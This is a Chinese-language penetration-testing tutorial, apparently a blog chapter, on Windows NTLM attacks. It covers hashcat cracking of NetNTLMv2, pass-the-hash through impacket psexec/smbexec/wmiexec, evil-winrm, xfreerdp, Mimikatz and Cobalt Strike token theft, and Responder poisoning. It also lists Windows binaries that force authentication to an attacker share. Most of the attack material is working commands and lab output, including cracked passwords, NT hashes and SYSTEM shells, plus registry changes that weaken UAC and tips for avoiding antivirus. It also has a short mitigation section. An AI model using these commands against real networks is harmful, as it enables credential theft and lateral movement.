涉及 NTLM hash 需要使用 hashcat 爆字典得到明文密码,但 NTLMv1 和 NTLMv2 难度不一样。

如果目标用的是 HTTP 应用使用 NTLM 认证,那么可以尝试密码喷洒。

3.NTLMv2 hash 破解

这里展示用 hashcat NTLMv2 爆破。哈希来自 NTLM 网络认证小节中的 NTLM 域认证.pcapng。

┌──(root㉿raingray)-[~]
└─# hashcat -a 0 -m 5600 smbhash.txt pass.txt
hashcat (v6.2.6) starting

......

Dictionary cache built:
* Filename..: pass.txt
* Passwords.: 1
* Bytes.....: 11
* Keyspace..: 1
* Runtime...: 0 secs

......

Approaching final keyspace - workload adjusted.

WUHUI::RAINGRAY0:95eece51c4e0df33:40369679cf7969dfc0e6f9bc9e65ce7f:01010000000000001872e674a113da01ac8993e942a9a92c00000000020012005200410049004e004700520041005900300001001e00570049004e002d00300038004a0033005500530049003700430043004e00040018007200610069006e0067007200610079002e0063006f006d0003003800570049004e002d00300038004a0033005500530049003700430043004e002e007200610069006e0067007200610079002e0063006f006d00050018007200610069006e0067007200610079002e0063006f006d00070008001872e674a113da0106000400020000000800300030000000000000000000000000200000ad5e874fd560ec6ccd38a96bf607b40e7ee1e17b9e0b4885202299f77b5df8040a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e003100330033000000000000000000:Wu1hui@123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: WUHUI::RAINGRAY0:95eece51c4e0df33:40369679cf7969dfc...000000
Time.Started.....: Sun Nov 12 14:27:39 2023 (0 secs)
Time.Estimated...: Sun Nov 12 14:27:39 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (pass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      731 H/s (0.05ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Wu1hui@123 -> Wu1hui@123

Started: Sun Nov 12 14:27:23 2023
Stopped: Sun Nov 12 14:27:41 2023

4.3 Pass The Hash(PtH)

Pass The Hash 简称 PtH,中文叫哈希传递。原理也简单,在前面讨论 NTLM 认证细节时 AUTHENTICATE_MESSAGE 在对 Challenge 等内容做摘要计算就用到了 NT hash,因此可以拿着 NT hash 通过网络认证访问服务。

最常见的一个利用场景是内网很多机器都使用相同的密码。比如内网中的云桌面打包 Windows 系统模板,一旦使用模板创建出的机器 Administrator 哈希都是一致的,只要拿下一台机器可以尝试导出 Administrator 的 NT hash 对其他系统服务进行 PtH 认证,就有可能获得权限——当然这是拿不到明文密码和 NT hash 无法撞出明文时的选择,有明文账户那直接登录或批量喷洒了。

为什么只说拿 Administrator 进行 PtH,用 Administrators 组内其他本地管理员用户进行 PtH 不可以吗?这在后面 PtH 限制小节中会详细讲,简单来说是因为默认远程 UAC 启用,无法获得管理员权限。

OPSEC:使用 NTLM 登录目标机器,System 类别会产生 Event ID 4624 的 Logon 日志。

一、常见利用方式

1.WMI

使用 WMI 也可以执行命令,但是得到什么权限得看具体账户。

python wmiexec.py -hashes 00000000000000000000000000000000:<NTHash> <UserName>@<IP> [Command]

2.SMB

目标是 SMB 可以尝试 PtH 登上去查文件或者将正常文件替换成后门做水坑。

smbclient \\\\<IP>\\<Dir> -U <UserName> --pw-nt-hash <NTHash>

impacket 也有对应 smbclient.py 可用。

# 工作组
smbclient.py -hashes 00000000000000000000000000000000:<NTHash> workgroup/<UserName>@<IP>
smbclient.py -hashes 00000000000000000000000000000000:<NTHash> <UserName>@<IP>

# 使用域
smbclient.py -hashes 00000000000000000000000000000000:<NTHash> <DomainName>/<UserName>@<IP>

为了获取权限最常见的就是 PsExec,原理是上传程序到共享 ADMIN$,通过运行程序创建服务并以 SYSTEM 账户运行服务。第一个参数 -hashes 的值是 LMHash:NTHash,其中 LMHash 可以用 32 个 bit 的 0 代替或者滞空,第二个参数是指定用户名和 IP,第三个参数是要执行的命令,这是可选的,如果不写具体的命令就执行 cmd.exe 并返回。

python psexec.py -hashes :<NTHash> [Domain/]<UserName>@<IP> [Command]

这里执行命令返回的乱码是因为没有指定编码,使用 -codec gbk 即可解决中文乱码问题。

┌──(raingray㉿raingray)-[~/桌面]
└─$ impacket-psexec -hashes :9df8fdcfb193c34fb9770367491e25d1 wuhui@192.168.37.2  
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.37.2.....
[*] Found writable share ADMIN$
[*] Uploading file KAysSUHQ.exe
[*] Opening SVCManager on 192.168.37.2.....
[*] Creating service XWpQ on 192.168.37.2.....
[*] Starting service XWpQ.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 10.0.19045.3448]

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) Microsoft Corporation����������Ȩ����


C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 9009
[*] Opening SVCManager on 192.168.37.2.....
[*] Stopping service XWpQ.....
[*] Removing service XWpQ.....
[*] Removing file KAysSUHQ.exe

smbexec.py 和 psexec.py 原理一模一样,相比 psexec.py 它更灵活,-mode 可以指定执行命令的方式是 SHARE 还是 SERVER,-share 可以指定程序上传到哪个共享,-service-name 可以指定上传程序后创建的服务名,-shell-type 可以指定执行命令使用 PowerShell 还是 cmd。

smbexec.py -hashes :<NTHash> [Domain/]<UserName>@<IP> [Command]
┌──(raingray㉿raingray)-[~/桌面]
└─$ impacket-smbexec -hashes :9df8fdcfb193c34fb9770367491e25d1 wuhui@192.168.37.2
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

CrackMapExec 可以用来快速验证哈希是否正确,一旦验证成功就可以用 impacket 的 smbexec.py 拿权限。

# 扫网段
crackmapexec smb <IP>/<CIDR> [–d <Domain FQDN>]-u <UserName> -H <NTHash> [-X <Command>]

# 指定单个主机
crackmapexec smb <IP> [–d <Domain FQDN>]-u <UserName> -H <NTHash> [-X <Command>]

3.WinRM

使用 evil-winrm 可以传递哈希获得 Shell。此服务在 Windows Server 上默认开启,使用 HTTP 5985/5986 端口,在 445 没开启的情况而下好用。

evil-winrm -u <username> -H <NT hash> -i <IP>

4.RDP

Windows 8.1 和 Windows Server 2012 R2 引入了 Restricted Admin Mode#restrictedadmin-mode-remote-desktop),后来 13 年在一篇名为《New “Restricted Admin” feature of RDP 8.1 allows pass-the-hash》文章中发布通过 PtH 登录远程桌面。

具体原因是利用了 Restricted Admin mode 特性,RDP 使用次、此模式连接到目标系统,连接过程用 NT hash 进行 Kerberos 认证,从而不用输入明文密码即可使用,这个模式的意义在于连接到目标系统后不会保留哈希和明文在内存中,当目标服务器被入侵后杜绝了凭证窃取的操作。

针对 RDP 进行 PtH 需同时满足以下 3 个利用条件:

  1. 服务端开启了 RDP,并拿到其本地 Administrator 组成员哈希
  2. 服务端注册表中启用了 Restricted Admin mode。

    默认情况此注册表不存在,代表模式是关闭的。这需要服务端在注册表主动开启 DisableRestrictedAdmin。配置完即时生效。经过测试,Windows Server 2019 和 Windows 10 都支持此模式。

    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

    在关闭状态下 PtH 会提示限制登录的警告,无法登录。

    服务端没开启 Restricted Admin mode 禁止登录.png

  3. 客户端工具支持 Restricted Admin mode 进行连接。

简写成一句话就是,对方服务器主动开启受限管理模式的情况下,才能用支持受限模式的客户端拿管理员哈希进行 PtH。

最常见的利用工具是 Mimikatz,/domain 有域就天 FQDN 没有则填写主机名或者目标 IP,使用 mstsc /restrictedadmin 启动 Restricted Admin mode 连接服务器,当认证完成后 mstsc 程序也打开了,直接输入目标 IP 即可不用密码连接。

mimikatz privilege::debug "sekurlsa::pth /user:<Username> /domain:<Domain> /ntlm:<NT HASH> /run:\"mstsc /restrictedadmin\"" exit

另一个工具可以用 xfreerdp,在 Kali 中自带。

xfreerdp /v:<IP Address> /u:<Username> [/d:<Domain>] /pth:<NT HASH> /cert-ignore
┌──(raingray㉿raingray)-[~/桌面]
└─$ xfreerdp /v:192.168.37.2 /u:wuhui  /pth:9df8fdcfb193c34fb9770367491e25d1 /cert-ignore
[16:34:22:132] [1161828:1161829] [INFO][com.freerdp.crypto] - creating directory /home/raingray/.config/freerdp
[16:34:22:132] [1161828:1161829] [INFO][com.freerdp.crypto] - creating directory [/home/raingray/.config/freerdp/certs]
[16:34:22:132] [1161828:1161829] [INFO][com.freerdp.crypto] - created directory [/home/raingray/.config/freerdp/server]
[16:34:22:175] [1161828:1161829] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[16:34:22:175] [1161828:1161829] [WARN][com.freerdp.crypto] - CN = PC-02.raingray.com
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] - @           WARNING: CERTIFICATE NAME MISMATCH!           @
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] - The hostname used for this connection (192.168.37.2:3389) 
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] - does not match the name given in the certificate:
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] - Common Name (CN):
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] -  PC-02.raingray.com
[16:34:22:176] [1161828:1161829] [ERROR][com.freerdp.crypto] - A valid certificate for the wrong name should NOT be trusted!
Certificate details for 192.168.37.2:3389 (RDP-Server):
        Common Name: PC-02.raingray.com
        Subject:     CN = PC-02.raingray.com
        Issuer:      CN = PC-02.raingray.com
        Thumbprint:  e0:47:4e:4d:53:3a:f3:68:c3:bc:d1:bc:ed:11:3a:22:22:5a:b7:8e:39:a9:3a:d1:2e:eb:45:ce:fb:b3:ab:fb
The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
Please look at the OpenSSL documentation on how to add a private CA to the store.
Do you trust the above certificate? (Y/T/N) Y
[16:34:38:664] [1161828:1161829] [INFO][com.freerdp.gdi] - Local framebuffer format  PIXEL_FORMAT_BGRX32
[16:34:38:664] [1161828:1161829] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[16:34:38:710] [1161828:1161829] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
[16:34:38:711] [1161828:1161829] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx
[16:34:39:459] [1161828:1161829] [INFO][com.freerdp.client.x11] - Logon Error Info LOGON_WARNING [LOGON_MSG_BUMP_OPTIONS]
[16:35:11:839] [1161828:1161829] [INFO][com.freerdp.client.x11] - Logon Error Info LOGON_WARNING [LOGON_MSG_SESSION_CONTINUE]

RDP PtH.png

5.Mimikatz

Mimikatz 进行 PtH 也是需要管理员权限,sekurlsa::pth 代表要使用 PtH,/user 填写用户名,/ntlm 填写 NT hash,/domain 是说要 PtH 的用户属于域还是工作组,域账户填写域名 FQDN,本地账户写 .。

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<UserName> /ntlm:<NT Hash> /domain:<Domain Name>" "exit"

在目标机器上传 mimikatz.exe 并对内网其他机器执行 PtH,成功后会在目标机器运行命令提示符。为什么默认运行的命令是 cmd.exe?这是默认参数,你也可以使用 /run 运行其他程序。

C:\Users\wuhui.RAINGRAY0\Desktop\x64>mimikatz privilege::debug "sekurlsa::pth /user:Administrator /domain:raingray.com /ntlm:7a1ced034321b4d9c4a273de3f2b8e92 " exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::pth /user:Administrator /domain:raingray.com /ntlm:7a1ced034321b4d9c4a273de3f2b8e92
user    : Administrator
domain  : raingray.com
program : cmd.exe
impers. : no
NTLM    : 7a1ced034321b4d9c4a273de3f2b8e92
  |  PID  6664
  |  TID  5768
  |  LSA Process is now R/W
  |  LUID 0 ; 8618745 (00000000:008382f9)
  \_ msv1_0   - data copy @ 000002381AEA9E00 : OK !
  \_ kerberos - data copy @ 000002381AEFCD08
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 000002381B61A428 (32) -> null

mimikatz(commandline) # exit
Bye!

在弹出的命令提示符中就可以访问其他机器的 c$。

Microsoft Windows [版本 10.0.19045.3448]
(c) Microsoft Corporation。保留所有权利。

C:\Windows\system32>dir \\192.168.52.133\c$\users
 驱动器 \\192.168.52.133\c$ 中的卷没有标签。
 卷的序列号是 C69D-4CBF

 \\192.168.52.133\c$\users 的目录

2023/10/16  09:10    <DIR>          .
2023/10/16  09:10    <DIR>          ..
2023/10/16  09:10    <DIR>          Administrator
2023/10/16  09:10    <DIR>          Public
               0 个文件              0 字节
               4 个目录 51,123,712,000 可用字节

C:\Windows\system32>

如果不想弹窗口用 powershell -w hidden,执行完会一闪而过。缺点是 AV 会触发警告或自动拦截,有了窗口还没法向进程执行命令拿响应结果。

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:raingray.com /ntlm:7a1ced034321b4d9c4a273de3f2b8e92 /run:\"powershell -w hidden -c {dir}\"" exit

为了方便解决此问题,用 Cobalt Strike 窃取进程 Token 来获取 PowerShell 权限。

一样的先执行隐藏的 PowerShell。

beacon> mimikatz sekurlsa::pth /user:Administrator /domain:raingray.com /ntlm:7a1ced034321b4d9c4a273de3f2b8e92 /run:"powershell -w hidden"
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:raingray.com /ntlm:7a1ced034321b4d9c4a273de3f2b8e92 /run:"powershell -w hidden" command
[+] host called home, sent: 788113 bytes
[+] received output:
user    : Administrator
domain    : raingray.com
program    : powershell -w hidden
impers.    : no
NTLM    : 7a1ced034321b4d9c4a273de3f2b8e92
  |  PID  2600
  |  TID  2616
  |  LSA Process is now R/W
  |  LUID 0 ; 9351000 (00000000:008eaf58)
  \_ msv1_0   - data copy @ 000002381AEA9E00 : OK !
  \_ kerberos - data copy @ 000002381AEFCD08
   \_ des_cbc_md4       -> null             
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 000002381B61ADE8 (32) -> null

接着窃取 PowerShell 的 Token 就可以访问目标 c$。

beacon> help steal_token
Use: steal_token [pid]

Steal an access token from a process.
beacon> steal_token 2600
[*] Tasked beacon to steal token from PID 2600
[+] host called home, sent: 12 bytes
[+] Impersonated RAINGRAY0\Administrator
beacon> shell dir \\192.168.52.133\c$\users
[*] Tasked beacon to run: dir \\192.168.52.133\c$\users
[+] host called home, sent: 60 bytes
[+] received output:
 驱动器 \\192.168.52.133\c$ 中的卷没有标签。
 卷的序列号是 C69D-4CBF

 \\192.168.52.133\c$\users 的目录

2023/10/16  09:10    <DIR>          .
2023/10/16  09:10    <DIR>          ..
2023/10/16  09:10    <DIR>          Administrator
2023/10/16  09:10    <DIR>          Public
               0 个文件              0 字节
               4 个目录 51,127,185,408 可用字节

操作执行完毕恢复当前 beacon.exe 的 Token,并杀掉 PowerShell 进程。

beacon> help rev2self
Use: rev2self

Revert to your original access token
beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes
beacon> kill 2600
[*] Tasked beacon to kill 2600
[+] host called home, sent: 12 bytes

经过测试,执行 Cobalt Strike 中 pth 命令不弹窗口,而且 Cobalt Strike 中自带 pth 命令,是使用对 Mimikataz 的 pth 功能做了包装。其中的向命名管道写数据,不太知道原理是什么,关于命令管道和 PtH 的相关性有找到篇文章 Named Pipe Pass-the-Hash 没看太明白。

beacon> help pth
Use: pth [pid] [arch] [DOMAIN\user] [NTLM hash]
     pth [DOMAIN\user] [NTLM hash]

Inject into the specified process to generate AND impersonate a token.

Use pth with no [pid] and [arch] arguments to spawn a temporary
process to generate AND impersonate a token.

This command uses mimikatz to generate AND impersonate a token that uses the
specified DOMAIN, user, and NTLM hash as single sign-on credentials. Beacon
will pass this hash when you interact with network resources.
beacon> pth raingray.com\administrator 7a1ced034321b4d9c4a273de3f2b8e92
[*] Tasked beacon to run Mimikatz inject pid:4192
[+] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:administrator /domain:raingray.com /ntlm:7a1ced034321b4d9c4a273de3f2b8e92 /run:"%COMSPEC% /c echo 65a93d6d0ec > \\.\pipe\796bc1" command into 4192 (x64)
[+] host called home, sent: 297599 bytes
[+] Impersonated RAINGRAY0\Administrator
[+] received output:
user    : administrator
domain    : raingray.com
program    : C:\Windows\system32\cmd.exe /c echo 65a93d6d0ec > \\.\pipe\796bc1
impers.    : no
NTLM    : 7a1ced034321b4d9c4a273de3f2b8e92
  |  PID  964
  |  TID  6276
  |  LSA Process is now R/W
  |  LUID 0 ; 8897518 (00000000:0087c3ee)
  \_ msv1_0   - data copy @ 000002381AEAA7B0 : OK !
  \_ kerberos - data copy @ 000002381AEFAF48
   \_ des_cbc_md4       -> null             
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 000002381B61A428 (32) -> null

beacon> shell dir \\192.168.52.133\c$\users
[*] Tasked beacon to run: dir \\192.168.52.133\c$\users
[+] host called home, sent: 60 bytes
[+] received output:
 驱动器 \\192.168.52.133\c$ 中的卷没有标签。
 卷的序列号是 C69D-4CBF

 \\192.168.52.133\c$\users 的目录

2023/10/16  09:10    <DIR>          .
2023/10/16  09:10    <DIR>          ..
2023/10/16  09:10    <DIR>          Administrator
2023/10/16  09:10    <DIR>          Public
               0 个文件              0 字节
               4 个目录 51,122,204,672 可用字节

Mimikatz 的 PtH 利用原理很复杂,没有 Windows 认证知识储备不太能够理解,这里找到一篇文章介绍其工作原理:Inside the Mimikatz Pass-the-Hash Command (Part 2)。大概是创建一个登录会话把凭证覆盖,反正需要与 LSASS 交互,动作很大并不推荐使用。

二、PtH 的限制,为什么没法 PtH

1.LocalAccountTokenFilterPolicy

通过本地的 Administrators 组内管理员哈希进行 PtH 失败是因为 Remote UAC 启用导致 Shell 只有中完整性,执行需要管理员权限的操作会受 UAC 限制。

Remote UAC 由注册表 LocalAccountTokenFilterPolicy 默认启用,有两个数值控制是否启用:

  • 值是 0 时启用,表示只有 RID 为 500 的 Administrator 默认管理员账户可以使用管理员功能。同时 0 也是默认值。
  • 值是 1 时禁用,任何在 Administrators 组里的用户都可以使用管理员功能。

默认情况下这条注册表不存在,因此默认值是 0 ,要想禁用可以设置为 1。

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy  /t REG_DWORD /d "1" /f

有了这条注册表限制就意味着只能对默认的 Administrator 账户进行 PtH,但实际情况,网上很多文章为了方便 PSExec/WinRM 远程管理 Windows 主机就禁用 Remote UAC。

在文档中还查到,ADDS 中的 Administrators 组中的用户则不受此限制,也包括已经加过域的机器本地 Administrators 组中域用户。换言之获取到域账户哈希进行 PtH 不受 Remote UAC 限制。

2.FilterAdministratorToken

如果在注册表中启用 FilterAdministratorToken,本地 Administrators 组内用户 PtH 会被 UAC 限制为中完整性,域用户不受影响。

这意味着任何管理员账户都不能 PtH。如 RID 为 500 的 Administrator 账户进行 PtH,会失败,就算禁用 LocalAccountTokenFilterPolicy,用 Administrators 组内其他管理员也不行。

好在 FilterAdministratorToken 默认值是 0 不启用,要想启用就设置为 1。

# 禁用
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 0 /f

# 启用
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 1 /f

3.KB2871997 补丁

2014 年 5 月 13 发布的 KB2871997 补丁,主要限制 PtH 方法一个是用组策略不让用户远程认证,二是让你获取不到凭据。

  • ADDS 中新增 Protected Users 用户组,所有加到组里的用户不能使用约束委派、非约束委派、只能使用 Kerberos 认证。
  • 新增 Restricted Admin Mode,服务端启用此模式后 RDP 客户端也使用此模式进行连接,不会有凭证落地。这就让你没法盗取凭证嘞。
  • 新增两个 SID

    • S-1-5-113: NT AUTHORITY\Local account
    • S-1-5-114: NT AUTHORITY\Local account and member of Administrators group

    S-1-5-114 是单指本地用户中的 Aministrators 组,S-1-5-113 可以理解为本地中所有用户,当中是包含了管理员用户。

    有了这两 SID 方便了在组策略中阻止 PtH,工作组打开本地组策略,域打开域组策略在,工具功能路径在 “服务管理器 -> 仪表盘 -> 工具 -> 组策略管理” 打开。

    打开后规则路径 “计算机配置 -> Windows 设置 -> 安全设置 -> 本地策略 -> 用户权限分配中” 找到拒绝本地登录和拒绝从网络访问这台计算机两条规则。

    阻止 PtH 远程访问的策略名称.png

    添加时需要组名,S-1-5-113 叫 NT AUTHORITY\本地帐户,S-1-5-114 叫 NT AUTHORITY\本地帐户和管理员组成员。在不的语言下文字会显示不同,这只是在系统设置中文情况下的展示,其他国家语言可以使用 whoami /groups 查看对应 SID 组名,其中组名就是以反斜线分隔右侧的描述。

    SID 组名查看.png

  • 禁止 WDigest 存储明文凭证到 LSASS 进程成为默认行为。这在抓取密码小节有提到过,是加大了获取凭证的难度。
  • 新增注销登录后 30 秒内清除 LSASS 中明文密码、NT/LM Hash、Kerberos TGT/Session key。

    这在 Windows 8.1、Windows 10、Windows Server 2012 R2 开始这是默认行为,自此之前的版本,如 Windows 7 和 Server 2012 需要主动在注册表开启,下面是设置了 30 秒清除

    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v TokenLeakDetectDelaySecs /t REG_DWORD  /d 30 /f

三、针对 PtH 的解决方案

怎么解决哈希通用这个场景呢?

在域中的计算机可以用 LAPS(Local Administrator Password Solution),或者启用注册表 FilterAdministratorToken 限制权限,再一个可以通过组策略启用 “拒绝从网络访问这台计算机”,禁止某些用户远程登录。

4.4 NTLM Relaying

NTLM 中继是中间人攻击,当受害主动访问中间人服务器,转发受害人 NTLM 认证每一步到目标服务器完成认证,从而中间人服务器获得目标服务器的权限。简单来理解这跟挂着代理访问网站一样,也是中间人转发流量,代理要拿着你的凭证作恶,就等于拿下权限。

ntlm_relay_basic.png

图片来源:NTLM Relay - hackndo

这里想到两个问题:

Q1:获取到 NTLM 哈希不能重放吗?
A1:需要注意获取到哈希也不能重放,因为挑战值是随机的,中间人服务器没法拿到受害者的密码哈希加密。

Q2:为什么能够攻击成功?
A2:因为客户端和服务端相互也不去验对方身份,从双方角度来看就是个正常认证过程,所以就产生的中间人攻击。这时候可以验证签名,就算能够身份认证通过,后续会话中如果服务器要求客户端需要拿只有它自己知道的内容去计算签名,中间人服务器没法计算,所以会话失败。甚至可以验证 SPN 来看客户端是不是伪造的。

捕获 NTLM 哈希

要想转发哈希利用其他服务器,首先得捕获到人家的哈希才行,这里提供几种方式来让受害者访问中间人服务。

1.使用 LLMNR、MDNS、NBT-NS 欺骗。当受害者访问一个不存在的名称时,自动被欺骗访问中间人服务器,就会收到哈希去转发利用

2.强制认证。实际上等待主动访问不太现实,你也不知道人家什么时候访问,全靠运气。这时有两种选择:

  • 使用 PrinterbugPetitPotam 强制受害者机器访问中间人服务器。
  • 使用 Responder 进行 LLMNR、MDNS、NBT-NS、WPAD 欺骗,让用户输错名称自动欺骗到我们指定服务器。

3.其他。还有很多中利用方式网上搜搜就能得到,不在文章中一一演示占用篇幅。

  • WordPad OLE 泄露 Hash,漏洞编号是 CVE-2023-36563
  • lnk 快捷方式
  • 文件夹内 .desktop.ini 文件中的 IconResource 属性
  • .scf 文件 中的 IconFile 属性
  • Access Linked Table Feature
  • word 文档的 document.xml.xrels
  • 系统命令。也都是网上复制过来的,井号开始的都是注释和命令说明,不要当做命令执行。

    net.exe use \\host\shareFload 
    attrib.exe \\host\shareFload  
    bcdboot.exe \\host\shareFload  
    bdeunlock.exe \\host\shareFload  
    cacls.exe \\host\shareFload  
    certreq.exe \\host\shareFload #(noisy, pops an error dialog) 
    certutil.exe \\host\shareFload  
    cipher.exe \\host\shareFload  
    ClipUp.exe -l \\host\shareFload  
    cmdl32.exe \\host\shareFload  
    cmstp.exe /s \\host\shareFload  
    colorcpl.exe \\host\shareFload #(noisy, pops an error dialog)  
    comp.exe /N=0 \\host\shareFload \\host\shareFload  
    compact.exe \\host\shareFload  
    control.exe \\host\shareFload  
    convertvhd.exe -source \\host\shareFload -destination \\host\shareFload  
    Defrag.exe \\host\shareFload  
    diskperf.exe \\host\shareFload  
    dispdiag.exe -out \\host\shareFload  
    doskey.exe /MACROFILE=\\host\shareFload  
    esentutl.exe /k \\host\shareFload  
    expand.exe \\host\shareFload  
    extrac32.exe \\host\shareFload  
    FileHistory.exe \\host\shareFload #(noisy, pops a gui)  
    findstr.exe * \\host\shareFload  
    fontview.exe \\host\shareFload #(noisy, pops an error dialog)  
    fvenotify.exe \\host\shareFload #(noisy, pops an access denied error)  
    FXSCOVER.exe \\host\shareFload #(noisy, pops GUI)  
    hwrcomp.exe -check \\host\shareFload  
    hwrreg.exe \\host\shareFload  
    icacls.exe \\host\shareFload   
    licensingdiag.exe -cab \\host\shareFload  
    lodctr.exe \\host\shareFload  
    lpksetup.exe /p \\host\shareFload /s  
    makecab.exe \\host\shareFload  
    msiexec.exe /update \\host\shareFload /quiet  
    msinfo32.exe \\host\shareFload #(noisy, pops a "cannot open" dialog)  
    mspaint.exe \\host\shareFload #(noisy, invalid path to png error)  
    msra.exe /openfile \\host\shareFload #(noisy, error)  
    mstsc.exe \\host\shareFload #(noisy, error)  
    netcfg.exe -l \\host\shareFload -c p -i foo

一、LLMNR/NBT-NS/(M)DNS Poisoning

Windows 在输入名称,是有个查找顺序的:

  • 这个主机名是不是自己
  • DNS 缓存
  • Hosts
  • DNS/MDNS 请求
  • NBNS
  • LLMNR

DNS 找不到 NBNS(NetBIOS Name Service)就向当前网段广播地址发起广播,查询 DONTORESOURCES,LLMNR(Link-local Multicast Name Resolution)则是向 224.0.0.252 发起组播。

Win + r 访问 \\aasdazzz Wireshark 抓个包 “正常访问 aasdazzz 共享找不到主机.pcapng",会发现没有机器响应 192.168.37.3 谁是 AASDAZZZ,则显示找不到。

如果有恶意机器就说我是 DONTORESOURCES 呢?此时欺骗产生了,发起查询的机器无条件相信,恶意机器就是 DONTORESOURCES。同样抓了个包 “NBNS 和 LLMNR 被欺骗到 Responder(192.168.37.2)上.pcapng”,可以从包 No.10 中看到 192.168.37.2 响应了 mDNS 说自己就是 aasdzzz.local,结果就是成功被欺骗到中间人搭建的 SMB 共享上。

下面我们搭建整个实验环境,演示如何欺骗过程。

运行中间人服务器(192.168.37.2)Responder。这里使用 -I 选项是用来指定欺骗服务监听在哪张网卡,-A 分析 LLMNR 和 NBT-NS 请求有哪些机器被欺骗到。

responder -I <Interface Name> -A

Responder 运行状态.png

再次访问 \\dontoresources 就收到流量。

Responder 获取到有主机被欺骗成功.png

通过受害者机器(192.168.37.3)来看,确实没有欺骗到。

客户机访问 dontoresources 共享的提示.png

这次重新运行服务真的欺骗,只需将 -A 参数删掉即可。再随机访问资源 \\aasdzzz 会欺骗到 192.168.37.2。

responder -I <Interface Name>

当受害者(192.168.37.3)手误访问不存在的共享, 都会将名称欺骗到中间人服务(192.168.37.2),最后就访问到 Responder 启用的 SMB 服务捕捉到当前登录账户的 NTLMv2 hash。这里捕获到的是域用户 raingray\zhangqi 的 NTLMv2 hash。如果你主动访问恶意服务器也会被捕获到哈希。

Responder 成功获取 NTLM 哈希.png

zhangqi::RAINGRAY:f71ed9c61061a15d:425AE2D50A2D2EBD6C5BA077C5CD1613:010100000000000004800300004003400570049004E002D0059004D003700440030005A00410052005300480030002E004C003600510034002E004C004F0043024DA0106000400020000000800300030000000000000000100000000200000E48601B229B05D9E06C29D7660111E936588BD4D708CB0BC56E0032000000000000000000

客户端也正常访问到中间人 SMB 服务。

客户端访问提示无权限.png

二、Printerbug 和 PetitPotam 强制认证⚒️

